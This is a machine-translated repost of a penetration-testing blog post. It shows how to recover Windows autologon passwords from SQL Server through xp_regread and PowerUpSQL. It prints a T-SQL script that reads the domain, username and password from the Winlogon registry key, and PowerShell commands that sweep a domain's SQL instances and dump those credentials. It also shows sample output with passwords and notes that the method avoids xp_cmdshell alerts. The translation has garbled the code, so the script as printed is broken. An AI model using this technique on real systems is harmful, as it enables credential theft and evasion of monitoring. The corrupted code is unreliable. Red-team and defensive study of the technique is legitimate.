Shulou(Shulou.com)06/02 Report--

Original text:

Https://blog.netspi.com/get-windows-auto-login-passwords-via-sql-server-powerupsql/

In this blog post, I'll show you how to use PowerUpSQL to export Windows automatic login passwords through SQL Serverd. Let me also talk about other uses of xp_regread stored procedures that can also be used in * testing.

A brief history of xp_regread

The xp_regread extended stored procedure has been used since SQL Server2000 because its original version allows access to almost anything of the SQL Server service account permissions as members of the public server role. At the time, it had a very big impact because it was common for SQL Server to run with LocalSystem privileges. Since the release of SQLServer 2000 SP4, due to the addition of some access controls to help prevent low-privilege logins from accessing sensitive registry locations, the impact of xp_regread has been so small that unauthorized users' access to the only registry location is now related to SQLServer. For the list https://support.microsoft.com/en-us/kb/887165 where you can access these locations

Here are some of the more interesting access paths:

HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Microsoft SQL Server\

HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ MSSQLServer

HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Search

HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ SQLServer

HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows Messaging Subsystem

HKEY_LOCAL_MACHINE\ SYSTEM\ CurrentControlSet\ Services\ EventLog\ Application\ SQLServer

HKEY_LOCAL_MACHINE\ SYSTEM\ CurrentControlSet\ Services\ SNMP\ Parameters\ ExtensionAgents

HKEY_LOCAL_MACHINE\ SYSTEM\ CurrentControlSet\ Services\ SQLServer

HKEY_CURRENT_USER\ Software\ Microsoft\ Mail HKEY_CURRENT_USER\ ControlPanel\ International

Practical use of xp_regread public roles

Even if our hands are tied, xp_regread can be used to get a lot of useful information. In fact, when logging in as a minimum, I often use it to grab server information that is not available elsewhere. For example, the Get-SQLServerInfo feature in PowerUpSQL includes some of these queries:

PS C:\ > Get-SQLServerInfo

ComputerName: SQLServer1

Instance: SQLServer1

DomainName: demo.local

ServiceName: MSSQLSERVER

ServiceAccount: NT Service\ MSSQLSERVER

AuthenticationMode: Windows and SQL Server Authentication

Clustered: No

SQLServerVersionNumber: 12.0.4213.0

SQLServerMajorVersion: 2014

SQLServerEdition: Developer Edition (64-bit)

SQLServerServicePack: SP1

OSArchitecture: X64

OsMachineType: WinNT

OSVersionName: Windows 8.1 Pro

OsVersionNumber: 6.3

Currentlogin: demo\ user

IsSysadmin: Yes

ActiveSessions: 3

The access control restrictions implemented in SQL ServerSP4 do not apply to system administrators. As a result, any SQL Server service account can be accessed in the registry and a system administrator can access it through xp_regread. At first glance, this may not seem like a big deal, but it does allow us to extract sensitive data from the registry without having to use xp_cmdshell stored procedures, and enabling and using xp_cmdshel triggers a large number of alerts. So xp_regread actually ends up being used after basic SQL Server development tasks.

Use xp_regread to restore Windows automatic login credentials

Configuring Windows to log in automatically when the computer starts up is possible, although this is not a common configuration in an enterprise environment, which we often see in a retail environment. Especially those that support traditional POS terminals and kiosks run locally using SQL servers. In most cases, when Windows is configured to log in automatically, encrypted credentials are stored in the registry key:

HKEY_LOCAL_MACHINE SOFTWARE\ Microsoft\ WindowsNT\ CURRENTVERSION\ Winlogon

With this information, we can write a basic TSQL script to get automatic login credentials for the registry through xp_regread without having to enable xp_cmdshell. The following is an example of a TSQL script, but since the registry path is not on the allow list, we must run the query as a system administrator:

-- Get Windows AutoLogin Credentials from the Registry

-- Get AutoLoginDefault Domain

DECLARE@AutoLoginDomain SYSNAME

EXECUTEmaster.dbo.xp_regread

@ rootkey = local local machine'

@ key = N'SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon'

@ value_name = NumberDefaultDomainName'

@ value = @ AutoLoginDomainoutput

-- Get AutoLoginDefaultUsername

DECLARE@AutoLoginUser SYSNAME

EXECUTEmaster.dbo.xp_regread

@ rootkey = local local machine'

@ key = N'SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon'

@ value_name = NumberDefaultUserName'

@ value = @ AutoLoginUser output

-- Get AutoLoginDefaultUsername

DECLARE@AutoLoginPassword SYSNAME

EXECUTEmaster.dbo.xp_regread

@ rootkey = local local machine'

@ key = N'SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon'

@ value_name = NumberDefaultPassword`

@ value = @ AutoLoginPasswordoutput

-- Display Results

SELECT@AutoLoginDomain, @ AutoLoginUser, @ AutoLoginPassword

I have created a PowerUpSQL function called "Get-SQLRecoverPwAutoLogon", so you can run it directly. It will get the default Windows automatic login information and the Windows automatic login information that has been set. It then returns the relevant domain name, user name, and password.

The following is an example of a command that you are interested in. If you are interested in hidden SQL Server targets, you can dig into this blog (https://blog.netspi.com/blindly-discover-sql-server-instances-powerupsql/):

PS C:\ > $Accessible = Get-SQLInstanceDomain-Verbose | Get-SQLConnectionTestThreaded-Verbose-Threads 15 | Where-Object {$_ .Status-eq "Accessible"}

PS C:\ > $Accessible | Get-SQLRecoverPwAutoLogon-Verbose

VERBOSE: SQLServer1.demo.local\ Instance1: Connection Success.

VERBOSE: SQLServer2.demo.local\ Application: Connection Success.

VERBOSE: SQLServer2.demo.local\ Application: This function requires sysadmin privileges. Done.

VERBOSE: SQLServer3.demo.local\ 2014: Connection Success.

VERBOSE: SQLServer3.demo.local\ 2014: Thisfunction requires sysadmin privileges. Done.

ComputerName: SQLServer1

Instance: SQLServer1\ Instance1

Domain: demo.local

UserName: KioskAdmin

Password: test

ComputerName: SQLServer1

Instance: SQLServer1\ Instance1

Domain: demo.local

UserName: kioskuser

Password: KioskUserPassword!

Summary

Even if the xp_regread extension stored procedure has been partially castrated, there are still many ways in which it can prove useful in testing and red team battles. I hope you can use "sqlserverinfo", "sqlrecoverpwautologon" function to build its ability, more registry fun will be provided one after another, in the meantime, good luck and responsible!

Reference article:

Https://support.microsoft.com/en-us/kb/887165

Https://msdn.microsoft.com/en-us/library/aa940179(v=winembedded.5).aspx

Http://sqlmag.com/t-sql/using-t-sql-manipulate-registry

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.